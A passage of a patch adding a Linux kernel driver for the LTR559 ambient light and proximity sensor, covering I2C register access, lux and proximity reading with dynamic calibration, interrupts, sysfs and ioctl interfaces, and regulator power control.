Congfig + */ +static int ltr559_als_enable(struct i2c_client *client, int on) +{ + struct ltr559_data *data = i2c_get_clientdata(client); + int ret; + + if (on) { + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, reg_tbl[REG_ALS_CONTR].curval); + msleep(WAKEUP_DELAY); + ret |= ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); + + + schedule_delayed_work(&data->als_work, msecs_to_jiffies(data->platform_data->als_poll_interval)); + + } else { + cancel_delayed_work_sync(&data->als_work); + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, MODE_ALS_StdBy); + } + pr_err("%s: enable=(%d) ret=%d\n", __func__, on, ret); + return ret; +} + +static int ltr559_als_read(struct i2c_client *client) +{ + int alsval_ch0_lo, alsval_ch0_hi, alsval_ch0; + int alsval_ch1_lo, alsval_ch1_hi, alsval_ch1; + int luxdata; + int ch1_co, ch0_co, ratio; + + alsval_ch1_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_0); + alsval_ch1_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_1); + if (alsval_ch1_lo < 0 || alsval_ch1_hi < 0) + return -EPERM; + alsval_ch1 = (alsval_ch1_hi << 8) + alsval_ch1_lo; + + alsval_ch0_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_0); + alsval_ch0_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); + if (alsval_ch0_lo < 0 || alsval_ch0_hi < 0) + return -EPERM; + alsval_ch0 = (alsval_ch0_hi << 8) + alsval_ch0_lo; + + + if ((alsval_ch0 + alsval_ch1) == 0) { + pr_err("%s, (alsval_ch0 + alsval_ch1) == 0, retry", __func__); + msleep(40); + alsval_ch1_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_0); + alsval_ch1_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH1_1); + if (alsval_ch1_lo < 0 || alsval_ch1_hi < 0) + return -EPERM; + alsval_ch1 = (alsval_ch1_hi << 8) + alsval_ch1_lo; + + alsval_ch0_lo = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_0); + alsval_ch0_hi = ltr559_sensor_I2C_Read(client, LTR559_ALS_DATA_CH0_1); + if (alsval_ch0_lo < 0 || alsval_ch0_hi < 0) + return -EPERM; + alsval_ch0 = (alsval_ch0_hi << 8) + alsval_ch0_lo; + + if ((alsval_ch0 + alsval_ch1) == 0) + ratio = 1000; + } else { + ratio = alsval_ch1 * 1000 / (alsval_ch1 + alsval_ch0); + } + + if (ratio < 450) { + ch0_co = 17743; + ch1_co = -11059; + } else if ((ratio >= 450) && (ratio < 640)) { + ch0_co = 42785; + ch1_co = 19548; + } else if ((ratio >= 640) && (ratio < 850)) { + ch0_co = 5926; + ch1_co = -1185; + } else if (ratio >= 850) { + ch0_co = 0; + ch1_co = 0; + } + luxdata = (alsval_ch0 * ch0_co - alsval_ch1 * ch1_co) / 10000; + return luxdata; +} + +static void ltr559_ps_work_func(struct work_struct *work) +{ + struct ltr559_data *data = container_of(work, struct ltr559_data, ps_work.work); + struct i2c_client *client = data->client; + int als_ps_status; + int psval_lo, psval_hi, psdata; + int i = 0; + + mutex_lock(&data->op_lock); + + als_ps_status = ltr559_sensor_I2C_Read(client, LTR559_ALS_PS_STATUS); + printk("%s ps_open_state=%d, als_ps_status=0x%x\n", __func__, data->ps_open_state, als_ps_status); + if (als_ps_status < 0) + goto workout; + /* Here should check data status, ignore interrupt status. */ + /* Bit 0: PS Data + * Bit 1: PS interrupt + * Bit 2: ASL Data + * Bit 3: ASL interrupt + * Bit 4: ASL Gain 0: ALS measurement data is in dynamic range 2 (2 to 64k lux) + * 1: ALS measurement data is in dynamic range 1 (0.01 to 320 lux) + */ + + if ((data->ps_open_state == 1) && (als_ps_status & 0x03)) { + + for (i = 0; i < 5; i++) { + psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); + if (psval_lo < 0) { + psdata = psval_lo; + goto workout; + } + psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); + if (psval_hi < 0) { + psdata = psval_hi; + goto workout; + } + psdata = ((psval_hi & 7) << 8) | psval_lo; + + if (psdata <= 0) { + pr_err("%s, ltr559 read data error, psdata = %d!\n", __func__, psdata); + msleep(10); + } else if (psdata < 10) { + msleep(10); + psval_lo = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); + if (psval_lo < 0) { + psdata = psval_lo; + goto workout; + } + psval_hi = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); + if (psval_hi < 0) { + psdata = psval_hi; + goto workout; + } + psdata = ((psval_hi & 7) << 8) | psval_lo; + if (psdata > 0) + break; + } else { + break; + } + } + + printk("%s ps data =%d(0x%x), psval_hi=0x%x, psval_lo=0x%x, data->dynamic_noise = %d\n", __func__, psdata, psdata, psval_hi, psval_lo, data->dynamic_noise); + if (psdata >= data->platform_data->prox_threshold) { + data->ps_state = 0; + ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_hsyteresis_threshold); + ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x07ff); + } else if (psdata <= data->platform_data->prox_hsyteresis_threshold) { + data->ps_state = 1; + +#if defined(DYNAMIC_CALIBRATE) + if ((data->dynamic_noise >= 10 && (((int)data->dynamic_noise - psdata > 30) || + (psdata - (int)data->dynamic_noise > 15))) || + (ps_state_last == 0xff && (psdata - (int)data->dynamic_noise) < 200)) { + + data->dynamic_noise = psdata; + + if (psdata < 10) { + data->dynamic_noise = 800; + data->platform_data->prox_threshold = 1000; + data->platform_data->prox_hsyteresis_threshold = 900; + } else if (psdata < 50) { + data->platform_data->prox_threshold = psdata+25; + data->platform_data->prox_hsyteresis_threshold = psdata+20; + } else if (psdata < 100) { + data->platform_data->prox_threshold = psdata+40; + data->platform_data->prox_hsyteresis_threshold = psdata+25; + } else if (psdata < 200) { + data->platform_data->prox_threshold = psdata+70; + data->platform_data->prox_hsyteresis_threshold = psdata+40; + } else if (psdata < 400) { + data->platform_data->prox_threshold = psdata+100; + data->platform_data->prox_hsyteresis_threshold = psdata+50; + } else if (psdata < 800) { + data->platform_data->prox_threshold = psdata+200; + data->platform_data->prox_hsyteresis_threshold = psdata+100; + } else { + data->platform_data->prox_threshold = 1000; + data->platform_data->prox_hsyteresis_threshold = 900; + + pr_err("ltr559 the proximity sensor rubber or structure is error!\n"); + } + + } +#endif + + ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); + ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); + } else { + data->ps_state = ps_state_last; + } + + if (ps_state_last != data->ps_state) { + printk("%s, %d, %d\n", __func__, data->platform_data->prox_threshold, data->platform_data->prox_hsyteresis_threshold); + input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); + input_sync(data->input_dev_ps); + printk("%s, report ABS_DISTANCE=%s\n", __func__, data->ps_state ? "far" : "near"); + + ps_state_last = data->ps_state; + } else + printk("%s, ps_state still %s\n", __func__, data->ps_state ? "far" : "near"); + } +workout: + enable_irq(data->irq); + mutex_unlock(&data->op_lock); +} + +static void ltr559_als_work_func(struct work_struct *work) +{ + struct ltr559_data *data = container_of(work, struct ltr559_data, als_work.work); + struct i2c_client *client = data->client; + int als_ps_status; + int als_data; + ktime_t timestamp; + + mutex_lock(&data->op_lock); + + timestamp = ktime_get(); + if (!data->als_open_state) + goto workout; + + als_ps_status = ltr559_sensor_I2C_Read(client, LTR559_ALS_PS_STATUS); + if (als_ps_status < 0) + goto workout; + + + if ((data->als_open_state == 1) && (als_ps_status & 0x04)) { + als_data = ltr559_als_read(client); + if (als_data > 50000) + als_data = 50000; + if ((als_data >= 0) && (als_data != data->last_lux)) { + data->last_lux = als_data; + input_report_abs(data->input_dev_als, ABS_MISC, als_data); + input_event(data->input_dev_als, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_als, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); + input_sync(data->input_dev_als); + } + } + + schedule_delayed_work(&data->als_work, msecs_to_jiffies(data->platform_data->als_poll_interval)); +workout: + mutex_unlock(&data->op_lock); +} + +static irqreturn_t ltr559_irq_handler(int irq, void *arg) +{ + struct ltr559_data *data = (struct ltr559_data *)arg; + + if (NULL == data) + return IRQ_HANDLED; + disable_irq_nosync(data->irq); + schedule_delayed_work(&data->ps_work, 0); + return IRQ_HANDLED; +} + +static int ltr559_gpio_irq(struct ltr559_data *data) +{ + struct device_node *np = data->client->dev.of_node; + int err = 0; + + data->platform_data->int_gpio = of_get_named_gpio_flags(np, "ltr,irq-gpio", 0, &data->platform_data->irq_gpio_flags); + if (data->platform_data->int_gpio < 0) + return -EIO; + + if (gpio_is_valid(data->platform_data->int_gpio)) { + err = gpio_request(data->platform_data->int_gpio, "ltr559_irq_gpio"); + if (err) { + printk("%s irq gpio request failed\n", __func__); + return -EINTR; + } + + err = gpio_direction_input(data->platform_data->int_gpio); + if (err) { + printk("%s set_direction for irq gpio failed\n", __func__); + return -EIO; + } + } + + data->irq = data->client->irq = gpio_to_irq(data->platform_data->int_gpio); + + if (request_irq(data->irq, ltr559_irq_handler, IRQ_TYPE_LEVEL_LOW, + LTR559_DRV_NAME, data)) { + printk("%s Could not allocate ltr559_INT !\n", __func__); + return -EINTR; + } + + irq_set_irq_wake(data->irq, 1); + + printk(KERN_INFO "%s: INT No. %d", __func__, data->irq); + return 0; +} + + +static void ltr559_gpio_irq_free(struct ltr559_data *data) +{ + free_irq(data->irq, data); + gpio_free(data->platform_data->int_gpio); +} + +static ssize_t ltr559_show_enable_ps(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct ltr559_data *data = dev_get_drvdata(dev); + + return sprintf(buf, "%u\n", data->ps_open_state); +} + +static ssize_t ltr559_store_enable_ps(struct device *dev, + struct device_attribute *attr, + const char *buf, size_t size) +{ + /* If proximity work, then ALS must be enable */ + unsigned long val; + char *after; + struct ltr559_data *data = dev_get_drvdata(dev); + + val = simple_strtoul(buf, &after, 10); + + printk(KERN_INFO "enable 559 PS sensor -> %ld\n", val); + + mutex_lock(&data->lockw); + ltr559_ps_set_enable(&data->ps_cdev, (unsigned int)val); + mutex_unlock(&data->lockw); + + return size; +} + +static ssize_t ltr559_show_enable_als(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct ltr559_data *data = dev_get_drvdata(dev); + + return sprintf(buf, "%u\n", data->als_open_state); +} + +static ssize_t ltr559_store_enable_als(struct device *dev, + struct device_attribute *attr, + const char *buf, size_t size) +{ + /* If proximity work, then ALS must be enable */ + unsigned long val; + char *after; + struct ltr559_data *data = dev_get_drvdata(dev); + + val = simple_strtoul(buf, &after, 10); + + printk(KERN_INFO "enable 559 ALS sensor -> %ld\n", val); + + mutex_lock(&data->lockw); + ltr559_als_set_enable(&data->als_cdev, (unsigned int)val); + mutex_unlock(&data->lockw); + return size; +} + +static ssize_t ltr559_driver_info_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + return sprintf(buf, "Chip: %s %s\nVersion: %s\n", + VENDOR_NAME, LTR559_SENSOR_NAME, DRIVER_VERSION); +} + +static ssize_t ltr559_show_debug_regs(struct device *dev, + struct device_attribute *attr, char *buf) +{ + u8 val, high, low; + int i; + char *after; + struct ltr559_data *data = dev_get_drvdata(dev); + struct i2c_client *client = data->client; + + after = buf; + + after += sprintf(after, "%-17s%5s%14s%16s\n", "Register Name", "address", "default", "current"); + for (i = 0; i < sizeof(reg_tbl)/sizeof(reg_tbl[0]); i++) { + if (reg_tbl[i].name == NULL || reg_tbl[i].addr == 0) { + break; + } + if (i < 10) { + val = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr); + after += sprintf(after, "%-20s0x%02x\t 0x%02x\t\t 0x%02x\n", reg_tbl[i].name, reg_tbl[i].addr, reg_tbl[i].defval, val); + } else { + low = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr); + high = ltr559_sensor_I2C_Read(client, reg_tbl[i].addr+1); + after += sprintf(after, "%-20s0x%02x\t0x%04x\t\t0x%04x\n", reg_tbl[i].name, reg_tbl[i].addr, reg_tbl[i].defval, (high << 8) + low); + } + } + after += sprintf(after, "\nYou can echo '0xaa=0xbb' to set the value 0xbb to the register of address 0xaa.\n "); + + return after - buf; +} + +static ssize_t ltr559_store_debug_regs(struct device *dev, + struct device_attribute *attr, + const char *buf, size_t size) +{ + /* If proximity work, then ALS must be enable */ + char *after, direct; + u8 addr, val; + struct ltr559_data *data = dev_get_drvdata(dev); + struct i2c_client *client = data->client; + + addr = simple_strtoul(buf, &after, 16); + direct = *after; + val = simple_strtoul((after+1), &after, 16); + + if (!((addr >= 0x80 && addr <= 0x93) + || (addr >= 0x97 && addr <= 0x9e))) + return -EINVAL; + + mutex_lock(&data->lockw); + if (direct == '=') + ltr559_sensor_I2C_Wrtie(client, addr, val); + else + printk("%s: register(0x%02x) is: 0x%02x\n", __func__, addr, ltr559_sensor_I2C_Read(client, addr)); + mutex_unlock(&data->lockw); + + return after - buf; +} + +static ssize_t ltr559_show_adc_data(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct ltr559_data *data = dev_get_drvdata(dev); + struct i2c_client *client = data->client; + u8 high, low; + char *after; + + after = buf; + + low = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_0); + high = ltr559_sensor_I2C_Read(client, LTR559_PS_DATA_1); + if (low < 0 || high < 0) + after += sprintf(after, "Failed to read PS adc data.\n"); + else + after += sprintf(after, "%d\n", (high << 8) + low); + + return after - buf; +} + +static ssize_t ltr559_show_lux_data(struct device *dev, + struct device_attribute *attr, char *buf) +{ + int lux; + struct ltr559_data *data = dev_get_drvdata(dev); + struct i2c_client *client = data->client; + + lux = ltr559_als_read(client); + + return sprintf(buf, "%d\n", lux); +} + +static DEVICE_ATTR(debug_regs, SYS_AUTHORITY, ltr559_show_debug_regs, + ltr559_store_debug_regs); +static DEVICE_ATTR(enable_als_sensor, SYS_AUTHORITY, ltr559_show_enable_als, + ltr559_store_enable_als); +static DEVICE_ATTR(enable, SYS_AUTHORITY, ltr559_show_enable_ps, + ltr559_store_enable_ps); +static DEVICE_ATTR(info, S_IRUGO, ltr559_driver_info_show, NULL); +static DEVICE_ATTR(raw_adc, S_IRUGO, ltr559_show_adc_data, NULL); +static DEVICE_ATTR(lux_adc, S_IRUGO, ltr559_show_lux_data, NULL); + +static struct attribute *ltr559_attributes[] = { + &dev_attr_enable.attr, + &dev_attr_info.attr, + &dev_attr_enable_als_sensor.attr, + &dev_attr_debug_regs.attr, + &dev_attr_raw_adc.attr, + &dev_attr_lux_adc.attr, + NULL, +}; + +static const struct attribute_group ltr559_attr_group = { + .attrs = ltr559_attributes, +}; + +static int ltr559_als_set_poll_delay(struct ltr559_data *data, unsigned long delay) +{ + mutex_lock(&data->op_lock); + if (delay < 1) + delay = 1; + if (delay > 1000) + delay = 1000; + + if (data->platform_data->als_poll_interval != delay) { + data->platform_data->als_poll_interval = delay; + } + + if (!data->als_open_state) + goto workout; + pr_info("%s poll_interval=%d\n", __func__, data->platform_data->als_poll_interval); + + +workout: + mutex_unlock(&data->op_lock); + return 0; +} + +static int ltr559_als_set_enable(struct sensors_classdev *sensors_cdev, + unsigned int enable) +{ + struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, als_cdev); + int ret = 0; + + if ((enable != 0) && (enable != 1)) { + pr_err("%s: invalid value(%d)\n", __func__, enable); + return -EINVAL; + } + + if (data->als_open_state != enable) { + ret = ltr559_als_enable(data->client, enable); + if (ret < 0) { + pr_err("%s: enable(%d) failed!\n", __func__, enable); + return -EFAULT; + } + + data->als_open_state = enable; + } else { + pr_err("%s: als_open_state already = %d\n", __func__, data->als_open_state); + } + pr_err("%s: enable=(%d), data->als_open_state=%d\n", __func__, enable, data->als_open_state); + return ret; +} +static int ltr559_als_poll_delay(struct sensors_classdev *sensors_cdev, + unsigned int delay_msec) +{ + struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, als_cdev); + ltr559_als_set_poll_delay(data, delay_msec); + return 0; +} + +#if defined(DYNAMIC_CALIBRATE) +static ssize_t ltr559_ps_dynamic_caliberate_init(struct i2c_client *client, struct sensors_classdev *sensors_cdev) +{ + struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, ps_cdev); + struct ltr559_platform_data *pdata = data->platform_data; + int i = 0; + int ps; + int data_total = 0; + int noise = 0; + int count = 5; + int max = 0; + + int ret = 0; + int contr_data; + + + if (!data) { + pr_err("ltr559_data is null!!\n"); + return -EFAULT; + } + + + ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0x0); + ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, 0x7ff); + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, reg_tbl[REG_PS_CONTR].curval); + + if (ret < 0) { + pr_err("%s:ps enable failed!\n", __func__); + return ret; + } + msleep(WAKEUP_DELAY); + + contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); + if (contr_data != reg_tbl[REG_PS_CONTR].curval) { + + ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); + + pr_err("%s: ps status check failed!\n", __func__); + return -EFAULT; + } + + for (i = 0; i < count; i++) { + + + msleep(10); + + ps = ltr559_ps_read(data->client); + if (ps <= 0) { + pr_err("%s, ltr559 read data error, ps = %d!\n", __func__, ps); + i--; + continue; + } + + if (ps & 0x8000) { + noise = 0; + data_total = 0; + pr_err("ltr559 read data overflow!\n"); + break; + } else { + noise = ps; + } + + data_total += ps; + + if (max++ > 10) { + pr_err("ltr559 read data error!\n"); + + } + } + + noise = data_total/count; + + if (noise == 0) { + data->dynamic_noise = 800; + pdata->prox_threshold = 1000; + pdata->prox_hsyteresis_threshold = 900; + } else if (noise < (data->dynamic_noise + 200)) { + data->dynamic_noise = noise; + if (noise < 50) { + pdata->prox_threshold = noise+25; + pdata->prox_hsyteresis_threshold = noise+20; + } else if (noise < 100) { + pdata->prox_threshold = noise+40; + pdata->prox_hsyteresis_threshold = noise+25; + } else if (noise < 200) { + pdata->prox_threshold = noise+70; + pdata->prox_hsyteresis_threshold = noise+40; + } else if (noise < 400) { + pdata->prox_threshold = noise+100; + pdata->prox_hsyteresis_threshold = noise+50; + } else if (noise < 800) { + pdata->prox_threshold = noise+200; + pdata->prox_hsyteresis_threshold = noise+100; + } else { + pdata->prox_threshold = 1000; + pdata->prox_hsyteresis_threshold = 900; + pr_err("ltr559 the proximity sensor rubber or structure is error!\n"); + } + } + + data->cali_update = true; + + printk("%s : noise = %d , thd_val_low = %d , htd_val_high = %d \n", __func__, noise, pdata->prox_hsyteresis_threshold, pdata->prox_threshold); + + ret = ltr559_sensor_I2C_Wrtie(client, LTR559_PS_CONTR, MODE_PS_StdBy); + if (ret < 0) { + pr_err("%s: disable failed!\n", __func__); + return ret; + } + + contr_data = ltr559_sensor_I2C_Read(client, LTR559_PS_CONTR); + if (contr_data != reg_tbl[REG_PS_CONTR].defval) { + + pr_err("%s: disable status check failed!\n", __func__); + return -EFAULT; + } + + + return 0; +} +#endif + +/* PS open fops */ +static int ps_open(struct inode *inode, struct file *file) +{ + file->private_data = sensor_info; + return nonseekable_open(inode, file); +} + + +/* PS release fops */ +static int ps_release(struct inode *inode, struct file *file) +{ + + return 0; +} + +/* PS IOCTL */ +static long ps_ioctl(struct file *file, unsigned int cmd, unsigned long arg) +{ + int rc = 0, val = 0, lux = 0, enable = 0; + int value; + int psval_lo, psval_hi; + u16 buf[2]; + struct ltr559_data *ltr559 = sensor_info; + printk("%s cmd %d\n", __func__, _IOC_NR(cmd)); + + switch (cmd) { + + case ALSPS_REC_PS_DATA_FOR_CALI: + + if (get_user(val, (unsigned long __user *)arg)) { + rc = -EFAULT; + break; + } + if (val == 0) + val = 300; +#if !(DYNAMIC_CALIBRATE) + ltr559->platform_data->prox_hsyteresis_threshold = val + FAR_THRES_DATA; + ltr559->platform_data->prox_threshold = val + NEAR_THRES_DATA; +#endif + + ltr559_set_ps_threshold(ltr559->client, LTR559_PS_THRES_LOW_0, val + FAR_THRES_DATA); + ltr559_set_ps_threshold(ltr559->client, LTR559_PS_THRES_UP_0, val + NEAR_THRES_DATA); + printk("ltr559--- nv data = %d\n", val); + break; + case ALSPS_GET_PS_RAW_DATA_FOR_CALI: + psval_lo = ltr559_sensor_I2C_Read(ltr559->client, LTR559_PS_DATA_0); + if (psval_lo < 0) { + return psval_lo; + } + psval_hi = ltr559_sensor_I2C_Read(ltr559->client, LTR559_PS_DATA_1); + if (psval_hi < 0) { + return psval_hi; + } + value = ((psval_hi & 7) << 8) | psval_lo; + buf[0] = value; + buf[1] = ltr559->ps_state; + + if (copy_to_user((unsigned long __user *)arg, buf, sizeof(buf))) + return -EFAULT; + printk("ltr559--- fastmmi rawdata = %d, ltr559->ps_state=%d\n", value, ltr559->ps_state); + break; + case ALSPS_LSENSOR_LUX_DATA: + lux = ltr559_als_read(ltr559->client); + put_user(lux, (unsigned long __user *)arg); + printk("ltr559--- lsensor-lux = %d\n", lux); + break; + case ALSPS_PSENSOR_ABS_DISTANCE_DATA: + put_user(ltr559->ps_state, (unsigned long __user *)arg); + printk("ltr559--- distance_flag = %d\n", ltr559->ps_state); + break; + + case ALSPS_PS_ENABLE: + if (get_user(enable, (unsigned long __user *)arg)) { + rc = -EFAULT; + break; + } + printk("ltr559 ps_enable = %d\n", enable); + ltr559_ps_set_enable(<r559->ps_cdev, (unsigned int)enable); + break; + + case ALSPS_LS_ENABLE: + if (get_user(enable, (unsigned long __user *)arg)) { + rc = -EFAULT; + break; + } + printk("ltr559 ls_enable = %d\n", enable); + ltr559_als_set_enable(<r559->als_cdev, (unsigned int)enable); + + break; + default: + pr_err("%s: INVALID COMMAND %d\n", + __func__, _IOC_NR(cmd)); + rc = -EINVAL; + } + + return 0; +} + +static const struct file_operations ps_fops = { + .owner = THIS_MODULE, + .open = ps_open, + .release = ps_release, + .unlocked_ioctl = ps_ioctl, +}; + +struct miscdevice ps_misc = { + .minor = MISC_DYNAMIC_MINOR, + .name = "psensor", + .fops = &ps_fops, +}; + +static int ltr559_ps_set_enable(struct sensors_classdev *sensors_cdev, + unsigned int enable) +{ + struct ltr559_data *data = container_of(sensors_cdev, struct ltr559_data, ps_cdev); + int ret = 0; + + printk("%s: enable(%d) start!\n", __func__, enable); + + if ((enable != 0) && (enable != 1)) { + pr_err("%s: invalid value(%d)\n", __func__, enable); + return -EINVAL; + } + + ret = ltr559_ps_enable(data->client, enable); + if (ret < 0) { + pr_err("%s: enable(%d) failed!\n", __func__, enable); + return -EFAULT; + } + + data->ps_open_state = enable; + pr_err("%s: enable=(%d), data->ps_open_state=%d\n", __func__, enable, data->ps_open_state); + return ret; +} + +static int ltr559_suspend(struct device *dev) +{ + struct ltr559_data *data = dev_get_drvdata(dev); + int ret = 0; + + printk("%s\n", __func__); + mutex_lock(&data->lockw); + ret |= ltr559_als_enable(data->client, 0); + mutex_unlock(&data->lockw); + return ret; +} + +static int ltr559_resume(struct device *dev) +{ + struct ltr559_data *data = dev_get_drvdata(dev); + int ret; + + printk("%s\n", __func__); + mutex_lock(&data->lockw); + if (data->als_open_state == 1) + ret = ltr559_als_enable(data->client, 1); + mutex_unlock(&data->lockw); + return ret; +} + +static int ltr559_check_chip_id(struct i2c_client *client) +{ + int id; + + id = ltr559_sensor_I2C_Read(client, LTR559_MANUFACTURER_ID); + printk("%s read the LTR559_MANUFAC_ID is 0x%x\n", __func__, id); + if (id != LTR559_MANUFAC_ID) { + return -EINVAL; + } + return 0; +} + +int ltr559_device_init(struct i2c_client *client) +{ + int retval = 0; + int i; + + retval = ltr559_sensor_I2C_Wrtie(client, LTR559_ALS_CONTR, 0x02); + if (retval < 0) { + pr_err("%s i2c_smbus_write_byte_data(LTR559_ALS_CONTR, 0x02); ERROR !!!.\n", __func__); + } + + msleep(WAKEUP_DELAY); + for (i = 2; i < sizeof(reg_tbl)/sizeof(reg_tbl[0]); i++) { + if (reg_tbl[i].name == NULL || reg_tbl[i].addr == 0) { + break; + } + if (reg_tbl[i].defval != reg_tbl[i].curval) { + if (i < 10) { + retval = ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr, reg_tbl[i].curval); + } else { + retval = ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr, reg_tbl[i].curval & 0xff); + retval = ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr + 1, reg_tbl[i].curval >> 8); + } + } + } + + return retval; +} + +static int sensor_regulator_configure(struct ltr559_data *data, bool on) +{ + int rc; + + if (!on) { + if (regulator_count_voltages(data->vdd) > 0) + regulator_set_voltage(data->vdd, 0, LTR559_VDD_MAX_UV); + regulator_put(data->vdd); + + if (regulator_count_voltages(data->vio) > 0) + regulator_set_voltage(data->vio, 0, LTR559_VIO_MAX_UV); + regulator_put(data->vio); + } else { + data->vdd = regulator_get(&data->client->dev, "vdd"); + if (IS_ERR(data->vdd)) { + rc = PTR_ERR(data->vdd); + dev_err(&data->client->dev, "Regulator get failed vdd rc=%d\n", rc); + return rc; + } + + if (regulator_count_voltages(data->vdd) > 0) { + rc = regulator_set_voltage(data->vdd, LTR559_VDD_MIN_UV, LTR559_VDD_MAX_UV); + if (rc) { + dev_err(&data->client->dev, "Regulator set failed vdd rc=%d\n", rc); + goto reg_vdd_put; + } + } + + data->vio = regulator_get(&data->client->dev, "vio"); + if (IS_ERR(data->vio)) { + rc = PTR_ERR(data->vio); + dev_err(&data->client->dev, "Regulator get failed vio rc=%d\n", rc); + goto reg_vdd_set; + } + + if (regulator_count_voltages(data->vio) > 0) { + rc = regulator_set_voltage(data->vio, LTR559_VIO_MIN_UV, LTR559_VIO_MAX_UV); + if (rc) { + dev_err(&data->client->dev, "Regulator set failed vio rc=%d\n", rc); + goto reg_vio_put; + } + } + } + + return 0; +reg_vio_put: + regulator_put(data->vio); + +reg_vdd_set: + if (regulator_count_voltages(data->vdd) > 0) + regulator_set_voltage(data->vdd, 0, LTR559_VDD_MAX_UV); +reg_vdd_put: + regulator_put(data->vdd); + return rc; +} + +static int sensor_regulator_power_on(struct ltr559_data *data, bool on) +{ + int rc = 0; + + if (!on) { + rc = regulator_disable(data->vdd); + if (rc) { + dev_err(&data->client->dev, "Regulator vdd disable failed rc=%d\n", rc); + return rc; + } + + rc = regulator_disable(data->vio); + if (rc) { + dev_err(&data->client->dev, "Regulator vio disable failed rc=%d\n", rc); + rc = regulator_enable(data->vdd); + dev_err(&data->client->dev, "Regulator vio re-enabled rc=%d\n", rc); + /* + * Successfully re-enable regulator. + * Enter poweron delay and returns error. + */ + if (!rc) { + rc = -EBUSY; + goto enable_delay; + } + } + return rc; + } else { + rc = regulator_enable(data->vdd); + if (rc) { + dev_err(&data->client->dev, "Regulator vdd enable failed rc=%d\n", rc); + return rc; + } + + rc = regulator_enable(data->vio); + if (rc) { + dev_err(&data->client->dev, "Regulator vio enable failed rc=%d\n", rc); + regulator_disable(data->vdd); + return rc; + } + } + +enable_delay: + msleep(130); + dev_dbg(&data->client->dev, "Sensor regulator power on =%d\n", on); + return rc; +} + +static int sensor_platform_hw_power_onoff(struct ltr559_data *data, bool on) +{ + int err = 0; + + if (data->power_state != on) { + if (on) { + if (!IS_ERR_OR_NULL(data->pinctrl)) { + err = pinctrl_select_state(data->pinctrl, data->pin_default); + if (err) { + dev_err(&data->client->dev, "Can't select pinctrl state on=%d\n", on); + goto power_out; + } + } + + err = sensor_regulator_configure(data, true); + if (err) { + dev_err(&data->client->dev, "unable to configure regulator on=%d\n", on); + goto power_out; + } + + err = sensor_regulator_power_on(data, true); + if (err) { + dev_err(&data->client->dev, "Can't configure regulator on=%d\n", on); + goto power_out; + } + + data->power_state = true; + } else { + if (!IS_ERR_OR_NULL(data->pinctrl)) { + err = pinctrl_select_state(data->pinctrl, data->pin_sleep); + if (err) { + dev_err(&data->client->dev, "Can't select pinctrl state on=%d\n", on); + goto power_out; + } + } + + err = sensor_regulator_power_on(data, false); + if (err) { + dev_err(&data->client->dev, "Can't configure regulator on=%d\n", on); + goto power_out; + } + + err = sensor_regulator_configure(data, false); + if (err) { + dev_err(&data->client->dev, "unable to configure regulator on=%d\n", on); + goto power_out; + } + + data->power_state = false; + } + } +power_out: + return err; +} + +static int ltr559_pinctrl_init(struct ltr559_data *data) +{ + struct i2c_client *client = data->client; + + data->pinctrl = devm_pinctrl_get(&client->dev); + if (IS_ERR_OR_NULL(data->pinctrl)) { + dev_err(&client->dev, "Failed to get pinctrl\n"); + return PTR_ERR(data->pinctrl); + } + + data->pin_default = + pinctrl_lookup_state(data->pinctrl, "default"); + if (IS_ERR_OR_NULL(data->pin_default)) { + dev_err(&client->dev, "Failed to look up default state\n"); + return PTR_ERR(data->pin_default); + } + + data->pin_sleep = + pinctrl_lookup_state(data->pinctrl, "sleep"); + if (IS_ERR_OR_NULL(data->pin_sleep)) { + dev_err(&client->dev, "Failed to look up sleep state\n"); + return PTR_ERR(data->pin_sleep); + } + + return 0; +} + +static int ltr559_parse_dt(struct device *dev, struct ltr559_data *data) +{ + struct ltr559_platform_data *pdata = data->platform_data; + struct device_node *np = dev->of_node; + unsigned int tmp; + int rc = 0; + + /* ps tuning data*/ + rc = of_property_read_u32(np, "ltr,ps-threshold", &tmp); + if (rc) { + dev_err(dev, "Unable to read ps threshold\n"); + return rc; + } + pdata->prox_threshold = tmp; + + rc = of_property_read_u32(np, "ltr,ps-hysteresis-threshold", &tmp); + if 